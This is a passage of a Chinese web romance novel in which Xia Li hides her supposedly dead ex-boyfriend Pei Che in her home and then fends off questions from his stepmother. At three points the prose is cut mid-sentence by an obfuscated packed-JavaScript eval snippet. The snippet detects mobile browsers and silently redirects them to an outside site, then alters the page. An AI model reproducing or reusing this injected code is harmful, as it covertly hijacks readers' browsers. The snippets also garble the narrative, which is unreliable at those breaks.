“阿好,我没事。我刚醒头有点晕,现在有点起不来,可能是饿了,你能帮我拿点吃的过来吗?” 秦方好急了,“那你慢慢起来别太着急,我这就去给你拿吃的。” 秦方好连忙往楼下跑,直觉告诉她不对劲。下楼后她打了个转,穿过长廊,先去找了肖颂安,麻烦他上楼守着,要是房里有什么动静,必要时可破门而入。 夏梨都按照裴澈说的做了,浑身僵硬坐在沙发上,耳边还残留着裴澈呼吸带来的微烫余温。 好在他说完话后就站了起来,对夏梨来说这种压迫感减轻了不少。 但她还发现了一件比裴澈死了更可怕的事——裴澈没死。 这下完了。她知道裴澈不是什么正常人,但也不能和她开这种玩笑。 她今天早上发出来的那条故意没有屏蔽裴澈的朋友圈,裴澈能看到也就算了。主要是她压根不敢想象这个阴险狡诈的男人是因为要做什么事才演了假死这一出戏。 夏梨有点想撞墙。 留给裴澈的时间不多,他必须要赶紧离开,尽管他还想再逗一逗沙发上紧紧抓着被角的女人。 “我说的话都记住了?” 夏梨抬眸,点了点头,笑得勉强,“都记住了,我会办到的。” 可下一秒,裴澈又弯下腰,撑在她的身体两侧。 “夏女士,今天见过我这件事,你应该不会说出去吧?” “当然,”夏梨比出四个手指头做发誓的动作,“我当然不会说出去,请你放心。” 裴澈点头站直身子,走到不远处的黑色办公桌旁,从桌面上拿起了一张头发和人皮的结合物。 夏梨看到那张人皮上面还有五官,但那软塌塌的人皮让五官变得扭曲,吓得夏梨低低叫了一声,迅速捂住了嘴。 裴澈转过头来看了她一眼,面色自若地套上这一个假头套。 眼睁睁看着裴澈从一个帅哥变成那个男的,还是个平平无奇的中年男人。 夏梨还是没忍住小声吐槽了一句:“你以为你在演碟中谍吗,真当自己是汤姆克鲁斯啊?” 裴澈没回答她,只是笑了一下。 也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626933|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在这个头套上花了多少钱,看起来竟然就像真人一样。 他走过来隔空拂了一把她的耳坠,轻声说:“今天很漂亮。” 没等夏梨回答,他就打开门出去了。 夏梨好半晌才回过神骂道:“呸!晦气死了!谁要被你夸,少自作多情!” 门陡然被推开,夏梨立刻噤了声。 “天呐,你没事真是太好了,吓死我了。” 秦方好拿着几个水果,替她擦干净表面的水。 “对不起啊,这附近只有这个能吃了,你将就吃点。怎么出了这么多汗啊,低血糖上来的虚汗吗?” 她说着从包里拿出纸巾替夏梨拭汗。 是虚汗,但不是低血糖,她是被吓的。 夏梨怔怔看着手中鲜红的苹果,“这不会是裴澈的……” “对,他的贡品。” …… 夏梨一抬眼看到了站在门口不远处的肖颂安。 也不知道是吃错了什么药,他盯得夏梨心里发毛,她像是做亏心事被发现了,心虚得很。 肖颂安环视整间房,在这间办公室里游走了一圈。 夏梨悻悻低下头,听着秦方好絮絮叨叨说着话。 “你真是把我吓死了,你晕倒我就想送你去医院,叔叔阿姨说打电话叫私人医生过来,就先把你安置在这间办公室里了。医生说你只是劳累过度,再加上情绪起伏实在太大所以才晕倒的。” “刘医生?” “对。” 夏梨有印象,这位刘医生和裴澈的关系很好,不知道裴澈的“死”,刘医生知不知道。 葬礼早已结束,裴家就留下两位助理,在确认夏梨没有事后也离开了。 夏梨坐在回程的车上,不小心又与肖颂安不友好的视线相撞。 她拿出手机打开朋友圈,仔细检查了早上发的那条朋友圈,她确实把这个圈子的朋友都屏蔽了,肖颂安看不到她的朋友圈,那他怎么这样盯着自己? 所幸车上还有个秦方好,她不再管肖颂安。 夏梨现在面临着另一个选择,裴澈没有死的消息,她到底要不要说出来,她才没那么听话。 前面驾驶座上坐着他最好的朋友,身边的秦方好是肖颂安的前女友,大家之前都在国外读书,交情匪浅,如果她说了大概也不会有什么事。 但…… 夏梨想到裴澈离开前警告的眼神,不禁打了个激灵。 说倒是可以说,但不是现在,她要仔细想一想这件事。 肖颂安把车停在她的别墅外,没有和她说任何话。 倒是秦方好降下车窗嘱咐她身体不舒服就早些睡觉,不要想太多,又问需不需要她陪? 夏梨摆摆手,“不用了,你放心吧,我好着呢。” 送走秦方好和肖颂安,夏梨慢悠悠往家走。 阿姨正在厨房为她做饭,告知她还有一个小时左右就可以吃饭。 夏梨没有太多心情放在吃饭这件事上,她需要先上楼洗个澡换一身衣服,再理一理头绪,她实在是有些混乱,随口敷衍阿姨两声便上了楼。 她一直以来不太喜欢别人在她不在的时候打扫她的房间,所以房间和她离开时一样,化妆桌上化妆品摆放得有些凌乱,房间沙发上随意扔着几件昨晚试穿但并不满意而脱掉的衣服。 房间的中轴线亮着最后一丝落日的余晖,将房间分割成两半。 夏梨没开灯,把包随意扔在地上,一边摘耳环和项链,一边脱上衣准备去洗澡。 她在自己的房间里向来如此,裸.睡又或者是只穿内衣裤在房内走动是常事。 夏梨往浴室走,衣服已经解开,被她扔在地上,裤子纽扣和拉链也随之拉下,当裤子脱到膝盖中间时,她的动作凝滞了。 夏梨缓慢转动脑袋,角落里,她作为读书角的懒人沙发上,正坐着西装革履,双腿.交叠,姿态慵懒的…… 裴澈。 4. Chapter.4 夏梨把裴澈归类为那种光长着一副好皮囊却没有什么内涵的人。 虽然他有不错的学历、聪明的头脑以及良好的涵养,但这不过是他社交时和人交流的假象,夏梨有幸见过他在面具下的另一面。 哪个真正有涵养的人会偷偷潜入别人家? 他还穿着今天参加葬礼的那一身西装,特意穿的平时不会穿的那种普通牌子,再配上他先前的头套,轻易就能隐匿在人群之中。 而现在,他摘掉了头套,尽管穿着非定制的西装,那张脸依旧使他的举手投足间带着骨子里的绝类离伦。 夏梨身体本能反应,被他吓得瘫软在地。大脑宕机了两秒后,身体立刻做出反应,她随手往后摸,不管摸到的是什么,先向沙发上那人砸去。 刚刚她穿过的白色丝质衬衫就这么盖在了裴澈头上。 夏梨迅速起身,快步跑向床边,拿起床尾的吊带裙就往身上套,觉得还不够,又捡起一边椅子上的灰色开衫卫衣穿上,将拉链拉到最顶端。 裴澈鼻尖萦绕着女生贴身衣物的香气,馥郁的木质调花香,让他仿佛置身于某个午后和她黏黏腻腻的后花园。 不需要他伸手,衣服已经从他的头上滑下,柔软的丝织品轻抚过他的脸庞,一滩白色凌乱坠在他的两腿间。 他的斜侧方,女人已经快速穿好了衣服,正做出防御姿态,眉宇间都是对他的警惕。 房间里光线不足,窗帘拉至半开,和她离开时一样。房间里只剩下暮色的柔光,她和他各自隐在阴暗处,透过中间地带的光亮看对方的眼睛。 裴澈视线落在她的灰色开衫卫衣上,朝她温和一笑,“回来了,肖颂安和秦方好送你回来的?” 夏梨深呼吸,“你要做什么?” “我记得我们当时的对话并没有结束,被秦方好打断了,接着说?” 夏梨不自觉地提高音量,“我已经答应你了,你还想要怎么样?” 裴澈知道,她在害怕,每次害怕就炸毛,放大声音会显得自己气势很足。想到接下来要对夏梨说的话,裴澈选择将姿态放得低一些,声音放得柔一些。 “鉴于你发出的朋友圈,我不确定你是不是真的会帮我……” 夏梨脸颊微微一热,心里发虚。 她当时是真的以为他已经死了,毕竟谁会拿生死这种事开玩笑。 裴澈接着说:“还有一件事,这算是我求你的,我现在无家可归,需要你的收留。” 话音落下后,房间里静谧一片,夏梨眼睛微眯,确定自己听到了什么之后,重复了一遍他的话。 “你需要我的收留?” 也对,他一个“死人”现在还能去哪? 他回国后就接手家里的企业,成为最年轻的企业继承人,他在海城四处都有房产。只不过,死亡消息公布后,那些房产他只怕是没办法再去住了。 夏梨从前对裴澈不太上心,回国后他忙于集团的事务,两人见面的时间变少,也不了解他在集团内到底过的是什么日子。 可现在看来,需要他用死亡来掩盖自己的行踪,竟然还只能借住在她这个前女友家里,只能说明天道好轮回,裴澈众叛亲离,遭到了报应。 最是落井下石的好时候,如果她收留裴澈就等于掌握了裴澈行踪的一手资料,只要她想让裴澈死,就能把裴澈轻松推到众人面前。 短暂的分析让夏梨紧绷的肩颈放松了一大半,至少目前来说,她占上风。但把裴澈这样一个危险人物留在身边,也是给自己制造恐惧。 她在摇摆不定。 而裴澈点头回复道:“没错,我需要你的收留。” 裴澈勾着嘴角撑着下巴看着她认真思索的模样,视线从她穿着的灰色卫衣落到她身后不远处自己的灵台上。 ——分手的时候还说已经不喜欢我了。 夏梨全然不知裴澈在想什么,她还在头脑风暴中,在分析同意和不同意两种决定的走向。 毕竟这件事无异于赌博,赌赢了她能见证裴澈丧家犬的模样,要是赌输了那她也只能认下。不过这是最次的结果,她必须要先下手为强。 这对裴澈来说也同样是一场赌博。他不去找自己的好友或亲信,却来找已经分手的前女友,不是自找死路是什么? 夏梨还是决定收留他,至少他在自己眼皮子底下,她还能看着他。 “裴澈,我们需要约法三章。” “请说。”裴澈一副绅士做派,伸出一只手做了个请的动作。 “第一,我只是收留你,但并不管你吃喝,这个你自己想办法;第二,你只能睡在我卧室里的杂物间,晚上睡觉我会把你关起来,这是对我自己负责;第三,我有随时将你‘死亡’的真相公布出去的权利;最后,住在我这里你全程都得听我的话。” 裴澈笑了:“这是约法四章。” 夏梨是想到什么说什么,没管自己到底要说多少章,反正只要他住在这里,她必须要保证自己的生命安全。 “随便,你如果不答应的话,我现在就喊人。” 裴澈摆出一副对她的提议很感兴趣的样子,声音很温柔,但是语气却又不容她反驳。 “第一,你收留我但是得管我吃喝,我会付钱给你,要多少你开价;第二,我可以睡在杂物间,但你不能把我关起来,这也是对我自己负责;第三,你不能随便将真相公布出去,甚至是告诉你最好的朋友。” 他话音落,夏梨当即张大嘴要高声呼喊,刚发出半个音节,裴澈“成交”两个字生生打断了她即将发出的吼叫。 夏梨难免露出得意之色,住在谁的屋檐下就得听谁的话,这话她也得教教裴澈。 确认裴澈也并不是什么都不怕,夏梨渐渐放松警惕,往旁边走两步坐在床边,让自己先前发颤的腿好好歇歇。 裴澈对于这个结果并不满意,但也无可奈何。他又说:“那请问我不吃饭的话怎么维持生命体征?” “你都能悄无声息潜入我家,你难道没有办法自己出去觅食吗?” 夏梨这人一般掌握了别人的把柄后就有那么点得意忘形,胆子也大起来,她的手探进裙下,从后腰拿出手机按下播放键。 扬声器里传出两人刚刚交谈的内容。 夏梨只放了一两句就按暂停,把手机往口袋里放好。 “证据就在我手上,你不要想别的花招。” 裴澈低头垂眸轻笑,胸腔共鸣发出的笑声格外沉着悦耳。 “夏梨,有录音意识,不错。我不会想别的花招,如你所想,我会遵守你提出的第四点,听你的话。” 夏梨对他的笑声感到不耐,她捂住口袋,眉眼有了怒意,语气也变得硬邦邦:“裴澈,你不要说有的没的,别不把我的话当一回事,你现在命都在我的手上。” 裴澈眉峰轻挑,不置可否,点点头道:“我可不敢,放心好了。” 夏梨又盯了他一会儿,慢慢站起来,“我现在要去洗澡,你可以自己出去找点东西吃,不许乱翻我的东西,也不准进我的浴室。” “没问题。” 进浴室前,夏梨检查过卧室的门锁后,拿上换洗衣物进去洗澡。 裴澈依旧坐在夏梨图书角的单人沙发上,听到夏梨浴室的门锁关上且反锁后,他的手终于轻轻放在腿上的那件白色衣服上,细细摩挲着那柔滑的布料。 夏梨以最快的速度洗完澡,头发还没吹干,先跑来看卧室里的人还在不在。 裴澈还坐在原位,撑着下巴出神,她的衣服还在他的腿上放着。 夏梨三步并两步上前,将自己的衣服从他腿上抽走。力度很大,在空中划出一道白色的弧线,带来一阵清凉的风。 裴澈被她的动作拉回注意力,耸耸肩不表示自己什么也没干。 夏梨拿衣服重回浴室,把头发吹干。吹风机的声音轰轰响,连带着她的思绪也跟着混乱不堪。 房间一直没开灯,到夏梨吹完头发,房间里已经完全暗下来,只从没有拉紧的床帘里透出楼下花园的灯光。 夏梨不怕黑,她的视力在晚上也很好,平时在家有时候喜欢只开落地灯。 恰好,裴澈也知道她的习惯,在她从浴室的走廊走过来时,他点亮了身旁的落地灯。 夏梨脚步一顿,侧头去看他。她的头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626934|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经吹至半干,素净着一张脸,柔顺的黑长直将她的脸衬托得更白,五官清纯到极致。 “要你多事了?”夏梨说:“这是我的灯。” 她说完往梳妆台走。 裴澈被她骂,什么表情也没有,懒洋洋抬手把灯关掉。 屋内骤然陷入黑暗,夏梨一只脚踢到桌腿,痛得跌坐在地。 “裴澈,你脑子是不是有病!”夏梨捂住自己的脚趾冲他喊。 恰好这时,她的房门被敲响。原本她不应该害怕,不知道为什么下意识捂住嘴,转头望向裴澈。 和她比起来,裴澈的表情就淡定得多。 “梨子,吃饭了。” 是家里做饭的陈阿姨,她来叫夏梨吃饭。刚来的时候老把夏梨叫小姐,夏梨纠正了她好几天才让她改过来。 “好,我马上就来。” 阿姨应了声,脚步渐远,隐入楼梯。 夏梨揉着脚指头站起来,往裴澈的角落看了一眼,咬着牙说:“开灯,猪吗?” 裴澈打开灯,模样无辜,“抱歉,你刚刚说不让我碰你的灯。” 她瞪了裴澈一眼,拿起桌面的乳液随便往脸上抹了一通,随后开门关门下楼。 陈阿姨做饭的手艺一绝,早上看到夏梨心情好,看着像是有喜事的样子,特意为她做了她爱吃的香葱炒螃蟹。 结果夏梨脑袋要爆炸,根本吃不下。 陈阿姨还以为实自己今天做的不符合她胃口,等夏梨吃完后才问她:“今天的菜不合胃口吗?” 夏梨回过神来,摆摆手道:“没有没有,特别好吃,是我今天……我在思考问题。” 陈阿姨知道自己这个小老板向来思维跳跃,有时候词不达意,自言自语,这都是常有的事,并没有什么好稀奇的,她笑了笑,收拾餐桌。 夏梨还不想那么快回房间见到裴澈,在客厅静了好一会儿才回去。 裴澈还坐在读书角,他不会是和沙发黏在一起了吧?坐着一动不动的,像是个塑料假模特。 夏梨把卧室的小杂物间稍微清理了一下,叫裴澈过去。 这间房以前是她用来做电脑房的,后来高配置的电脑卖掉了,这里就空下来,平时堆一些不知道怎么清理的物品。 裴澈人高马大,站在她的身后很有压迫感。 “你就睡这里。” 夏梨在地上给他铺了一张席子,清凉夏日必备。 前任找前任帮忙也实在太过凉薄。裴澈看着地上那单人床的小凉席,笑了,正要说话。 夏梨说:“你也可以不睡,现在就从我家出去。” 裴澈冷峻眉眼并未堆积怒意,反而很柔和,他答应道:“好,我睡。” 夏梨善心大发,还是把浴室借给他去洗个澡。她还去衣帽间给他拿换洗衣服,谁能想到过去了这么久,她的衣柜里竟然还有裴澈的衣服。 夏梨看着角落里的衣服出神,这是她昨晚翻衣服的时候找到的,本来打算今天扔掉,结果竟然在这时派上用场。 一套沙滩花衬衣和一套日常的白色T恤和裤子。 它们皱皱巴巴被她扔在最角落,现在也只能抖一抖,把腌菜一般的布料扔给裴澈。 这次裴澈意外地什么也没说,拿着衣服默默进了浴室。 夏梨在十点准时把裴澈关进杂物间,自己上床睡觉。 她今天太累,几乎是沾枕头就睡着。 也不知道过了多久,夏梨忽然听到很轻微的敲门声,伴随着阵阵呻.吟声。 夏梨撑起上半身,终于确定了声音来源,来自杂物间。 不知道裴澈又耍什么花招,夏梨拿钥匙打开房间,只看到裴澈一只手放在腹部,满头大汗靠坐在墙边。 家里装了恒温系统,房间里也并不热,夏梨不懂他为什么会满头大汗。 “你怎么了?”夏梨用脚尖踢了踢他的腿。 他闷哼一声,抬起头看她,说了句什么,夏梨没听清。 “你说什么?声音大点。”夏梨蹲下身靠他近一些。 这次终于听见他说什么了,他声线颤抖,气若游丝说:“饿……” 5. Chapter.5 裴澈胃有一点问题,但还没多严重,这个夏梨是知道的。但现在年轻人没几个人是没病的,完全健康的人才是少见。 她猜测他可能是这段时间装死累到了,风餐露宿的,吃了上一顿没下一顿,把胃饿坏了。 多搞笑,装死还能累到。 夏梨蹲着身子看着他的侧脸,因为难受所以眼睛微微阖上,正在试图缓解疼痛。尽管想起他曾经的不留情面,还是希望他不要真的死在自己家。 “还能动吗?”夏梨问。 “嗯。”他看过来,眼睛湿漉漉的,显得脆弱。 “我扶你到外面去。” 他身体很沉,不知道是真站不稳了还是装的,上半部分力气全都压在夏梨身上,夏梨控制不住地走了条斜线被压到墙壁上。 他身上清冽的男香扑面而来,熟悉的体温,混合着和自己同样的沐浴露香气,夏梨差点下一秒就掉入回忆陷阱。 她很快撑着墙壁站直,把他扶到她读书角的单人沙发上。 夏梨都出了一身汗。 她从桌面抽来几张纸往他手里塞,“你先擦擦汗,我下去给你拿药弄吃的。” 家里的急救箱里常备有日常的药品,前段时间作息不规律,她也有焦虑引起的胃炎症状,应该还有药。 取了奥美拉唑和铝碳酸镁,夏梨把药箱放回原位,去厨房给裴澈做吃的。 夏梨从小就会做饭,那时候爸妈经常半夜去进货,白天要去看店。她需要在家照顾弟弟,所以基本的菜式都会,就是味道很一般。能吃,谈不上美味。 做饭这件事也是需要天赋的。 夏梨不打算大晚上的开火做饭,只烧了水,给裴澈泡了一碗汤达人。 等待水开的过程中,阿姨听见声音起来了,撸起袖子问她是不是没吃饱,要吃什么和阿姨说。 夏梨将流理台上的胃药攥在手里,佯装随意插进睡裙口袋。 “不用,我就是还没睡,吃碗泡面就好,您休息吧。” 陈阿姨懂分寸,回了保姆房。 夏梨泡好泡面上楼,走到楼梯中段的时候,她顿住脚步,本想和阿姨嘱咐两句,又觉得多此一举,反而奇怪,于是继续往楼上走回了房间。 裴澈仰靠在单人沙发上,紧锁着眉头,看起来好像确实不舒服,瘦削的下巴在灯影下更显锋利。 夏梨把泡面放在面前的矮几上,推了推裴澈。人没醒,忽然抓住她的手腕,梦呓一般说:“梨梨……别走……” 在所有人都叫夏梨梨子的时候,裴澈一意孤行叫她梨梨,说他要和别人不一样。 夏梨短暂想起这个称呼的由来,手一抽,甩掉他的手,重重拍在他的肩上。 这次醒了,冷峻的眼有些失焦。 “吃药。”夏梨把药甩在桌上,转身去开卧室的大灯。 房间瞬间亮起来,灯火通明。 裴澈坐直,拿起药看了看,老实服下。 夏梨把泡面往他面前推,“把这个吃了。” 裴澈想说吃了饭得等半个钟才能吃饭,又想起反正是装病,没所谓什么半个钟。默默端起泡面吃下,连汤都不剩。 夏梨将垃圾扔去厨房,再返回房间打开窗户和换气散味。 “泡面不是白给你吃的,你在我家白吃白住,还要我帮你做事,你是不是该付点钱给我。泡面一千块一桶,给钱。” 裴澈静默看着她的那张脸,明明脸长得悬壶济世,一开口便是劫匪。 “没问题。”裴澈说:“我会给你的。只不过要过两天,我给你打个欠条,到时候给你。” “你都是个死人了,你的欠条还有用?”夏梨直直看着他的眼。 裴澈也耍无赖:“那你说怎么办?” 把他无情甩掉,他连原因都不知道,现在竟然对他这么残忍,给他吃他最讨厌吃的泡面。 夏梨看他现在穿的西装都是上不了大台面的货,估摸着他也没钱,事办完了赶紧打发他走,然后她再把他假死的消息随便找家媒体公布了,那场面,想想都爽。 不就是泡面钱加上住几晚吗,忍一忍当打发叫花子好了。 夏梨想通了仰靠在沙发上,“算了,你也没钱,本小姐就不用你给钱了。” 她颇为大方挥挥手,“明天我会去你家给你哭丧,回来再和你说。你吃完了就赶紧回去,我好关门。” 好冷漠好不客气。 夏梨昂仰着头,像是家里养着一条狗,现在要把狗关进笼子里了。 裴澈扶着胃部,眼眸低垂,背脊弓着,声音放得软的不能再软。 “能让我再坐一会儿吗?地板实在睡得不舒服。” 夏梨已经困得不行。她盯着他的时候眼睛都是微眯着的,眼皮沉沉往下坠。她显然已经没有什么精力再和他斗来斗去。 “你放心,我什么也不会对你做。” 夏梨半信半疑,起身关灯。 她的床离裴澈的位置还有些距离,不过从裴澈的视角看却是刚好可以看到她在床上的所有动作。 “裴澈……”夏梨坐上床,指着裴澈还要说什么警告的话。 裴澈老实举起双手:“我真的什么也不会干,你放心睡觉吧。” 夏梨仰头倒下,盖上被子就闭上眼。在她入睡前,她一直在默念:不能睡太死有动静就得起床。 她想用这种办法让自己的潜意识有所警觉,然而话才默念了三遍,第四遍没有念完就已经昏睡过去。 夏梨认床认陌生环境,身边但凡有不认识的人她就难以入睡。身体的记忆里比她想象得要好,裴澈坐在这里,她的身体还是会本能信任他。 就在夏梨彻底睡过去后,仰靠着沙发虚弱的裴澈终于坐正了身体,先前涣散的眼睛此刻又变得冷峻又犀利。 他关闭了身旁的落地灯,房间里的微弱光源来自于夏梨床头的小夜灯和从窗帘缝隙中透进来的花园路灯。 裴澈依靠着这些光源,很快适应了室内的昏暗环境。像是盯着猎物似的紧盯着酣睡的夏梨,或许他现在应该暴露本性,凑上去扼住她的喉咙,让她收回分手那两个字。 算了,也不是很重要,等事情彻底完成,他想要什么有什么。 裴澈老老实实在沙发上坐了半个钟,听到夏梨折腾一天的呼吸声因为劳累而变得沉重。 他直起身,身形挺拔,完全没有先前那副病得不能自理的样子。 缓慢走到夏梨的身边,再从跪下到坐下,裴澈勾着嘴角,伸手抚摸她的脸庞。因为怕吵醒夏梨,所以他不敢真的把手放在她的脸上。 似有若无的痒意在夏梨脸上攀附,她哼唧一声,一只手在脸上扇扇,脑袋转向了另一边。 裴澈的手因为她的驱赶而敏捷缩回,呼吸也不由自主地屏住,待她彻底安静下来,他才浅浅松了一口气。 裴澈折腾一天也已经累了,他缓慢站起来,从另一侧床畔上来,轻轻掀起被子,盖上沾染上夏梨一点体温的被子,一只手轻轻和她的交握,而后闭上眼睛。 夏梨定了一个早上九点的闹钟,原本她还想继续赖床,忽然想起屋内还有一个人,便立刻一个打挺坐起来,头晕了好一阵。 视线所及,沙发上没有裴澈的身影,她下床仔细检查了一下整间卧室,杂物间和洗手间浴室乃至衣帽间都没有。 她甚至还查看了一下床底,趴下的时候发现她的床底是实心的,又站起来。 拿起手机犹犹豫豫许久,她决定联系裴澈。 分手后他就被她拉黑了,后来她又在某个夜晚把他放出来,没有一分钟再接着拉黑,到最后她都不记得当下他究竟是在黑名单还是没在。 想到裴澈说看到了她昨天发的朋友圈,她猜想大概是没有把他给拉黑,然而通讯录翻阅了一遍没有找到他的头像,夏梨转头去了设置,将他从黑名单放了出来。 不确定他有没有拉黑自己,夏梨发送了一个微信原始微笑小黄人表情过去试探。 成功发送。 她意外地挑挑眉,所以昨天那条朋友圈他是怎么看到的? 她的好友里有内鬼。 绝对不是这边圈子的朋友,因为她把这边的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626935|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全都屏蔽了。 夏梨猜不到人选,裴澈已经发送消息过来:出门办事,晚上回。 夏梨看着手机愣怔了一下,这个发展不太对劲,她好像不是在问这个吧,怎么像从前恋爱时期的报备? 她锁着眉头,又把他拉黑。 夏梨的信条是绝不惯着裴澈。 上午的时间悠闲度过,夏梨花了点时间回复秦方好的信息。秦方好看到她昨天的表现,实在是不放心她,频繁地和她发送消息聊天。 夏梨很想告诉她,昨晚裴澈就在她家,而且她对他的死一点也不伤心。 奈何秦方好只相信自己脑补的情况,夏梨和她聊天也花费了点时间。 秦方好踟躇着又发来一条长达五十秒的语音。问她是不是得罪了肖颂安,昨天回去的路上肖颂安一直对她冷嘲热讽,秦方好替好友反驳,到最后说不过肖颂安,气得半死,勒令他停车,自己下车后单独叫了辆车回家。 夏梨也不知道为什么肖颂安对自己的态度变化得那么快,明明早上见面的时候他还好好的,下午忽然就翻脸,怪不得秦方好要和他分手,阴晴不定的男人都活该没老婆。 夏梨对着秦方好装傻,但是心里又难免愧疚,好言好语说谢谢她为自己说话,下次请她吃饭之类的。 下午要去裴家,夏梨提前打过电话给裴澈的继母,好久之前存的联系方式,到这时才有了用途。 单芳琪听说她要来,语气哀伤之中带着雀跃,说来陪陪她说话也好。尽心尽力扮演着一位刚经历过丧子之痛的好继母。 司机送夏梨去了裴家。 夏梨这次穿得比较朴素低调,黑灰色调为主的挂脖无袖裙,头发卷了挽成半扎发,脸上没有夸张的妆容,走的伪素颜风,耳朵上只戴了简单的珍珠耳钉,没再有多的配饰。看起来是长辈面前的乖乖女。 但其实她不是。她只是知道这样穿会比较好利于她要达成的效果。 单芳琪出门接她是她没想到的,夏梨有点受宠若惊,乖顺地叫了声阿姨。 单芳琪打着遮阳伞撑在她头上,亲昵牵起她的手,“昨天怎么忽然就晕了呢,现在感觉怎么样啊?身体好些没有,有没有舒服一点,这么大的太阳就不要跑来跑去了,今晚在这里吃晚饭吧。” 夏梨和单芳琪不是很熟,总共就见过两次,一次是从前裴澈带着见过一次,第二次也就是昨天的葬礼。 现在这么亲热可不见得是好事。她也知道单芳琪是在演戏,正因为知道她在演戏,夏梨才感觉不舒服。像是羊入虎口,忽然有点后悔昨晚没有让裴澈写那个欠条,她真出什么事这算是工伤。 进屋后,她随手将遮阳伞给旁边的女佣,带着夏梨去了客厅坐下,让人备下午茶点过来。 “上次你来见你多吃了两口太妃布丁,今天特意让厨房提前做了。” 夏梨点点头说好,但其实都是几年前的事了,她压根不记得在裴澈家吃的什么太妃布丁还是别的,甚至有可能根本没吃。 谁知道她说的是不是真的。 单芳琪握住她的手,眼眶里忽然漫上了眼泪,她长吁短叹,说裴澈走得太早了,本来整个家族都是他掌权,现在他忽然一去,家里和企业都乱成一锅粥。 夏梨看到单芳琪豆大的泪珠坠落在她的旗袍上,这才想起自己是来做什么的。 夏梨鼻尖也忽然一红,眼泪掉下来两滴接着像断了线的珠子狂流不止,泣不成声。 她想着自己死去的外公哭的。她想到外公以前省吃俭用,每天来接她放学的时候带一根冰糖葫芦,老人皱纹横生的手握住那根冰糖葫芦的棍签,颤颤巍巍把冰糖葫芦递给她,她就想哭。 单芳琪没想到她哭成这样,先是一愣,而后慌里慌张给她递纸巾。 在太妃布丁端上来之前,夏梨都在哭,哭得上气不接下气。她想了很多事,从外公想到外婆,又想到爸妈和弟弟,就是没有想到过裴澈。 单芳琪跟着抹了两把虚情假意的眼泪水,拍拍夏梨的手背说:“梨梨,既然你这么喜欢裴澈,当初又为什么要和他分手呢?” 6. Chapter.6 来了,她进入正题了。 夏梨今天入戏很快,说流眼泪就流眼泪,现在也可以说收就收。 但是收得太快也不行,夏梨把眼泪擦干,一张白净的脸上双眼和鼻尖都哭得通红。 她抽泣着说:“阿姨,您也是看着裴澈长大的,应该知道他这个人的脾气。我和他在一起的时候通常都是我在迁就他,时间久了怎么都会累的,所以我才说了分手,我以为他至少会挽留,谁知道他转身就走……” 夏梨的眼泪又流下来了,清清冷冷一场梨花雨似的眼泪,单芳琪都心疼了。 在单芳琪看来,夏梨真是爱这个继子爱到无法自拔,看起来是她甩了裴澈,实际上更像是裴澈早就厌烦了她,所以把她给甩了,那就很奇怪了…… 以前裴澈带着夏梨来的时候,她能感受到裴澈对夏梨的不一样,平时对他们冷若冰霜的眼,在对着夏梨的时候冰雪全都消融了。那样深情的一双眼,怎么看都不像是装的。 但她作为一个过来人,也清楚明白男人的爱不过转瞬即逝,就算当时是真的爱,时间一长难免厌弃,喜新厌旧嘛,都这样的。这样想,她又对夏梨生出一丝同情来。 单芳琪:“唉,都怪阿姨没有把他教好,让你受委屈了。分手之后裴澈就没再联系过你?有没有留什么东西给你?” “什么东西?”夏梨早就已经把眼泪擦了,捧起瓷碟,吃了一勺太妃布丁。 入口咀嚼两下后,夏梨觉得好像被太妃布丁揍了一拳,导致她有些神志不清。毫不夸张地说,吃一口这东西,现在需要打一针胰岛素,等会儿回家都不需要司机送了,她能直接踢正步回家。 夏梨确信她上次来裴家绝对没有吃过这种吃一口下辈子都不会忘记味道的玩意。 “比如他后来没有给你一笔分手费或者是把你以前送给他的东西再还给你之类的?” 夏梨艰难吞咽口里的甜品,喝了口红茶,脑子终于清醒了一点。 裴澈当时可以说是比她本人走得还要绝情,夏梨越想越气愤,到底是谁对不起谁,他在拽什么,现在竟然还敢在她家里耀武扬威。 可能是自尊心作祟吧,也有可能是刚刚那口太妃布丁甜得她生了怨气。夏梨开口就说: “有吧。他把我之前送给他的东西都打包给我了,我转头就扔掉了。” “你给扔了!”单芳琪当即惊叫出声,整个人都站起来。 夏梨被她吓一跳,脑子里莫名其妙冒出一句话——狐狸尾巴藏不住了。 单芳琪意识到自己的失态,重新坐下来,尴尬一笑:“阿姨是觉得可惜,毕竟都是你送给他的东西,这孩子嘴硬,你也嘴硬,说不定两个人好好聊聊一切说开了也不会闹得分手……你给扔哪儿了?” 夏梨眨眨眼,神情无辜:“就外面的垃圾桶,都这么久了,应该早就已经被处理到垃圾站了吧。” 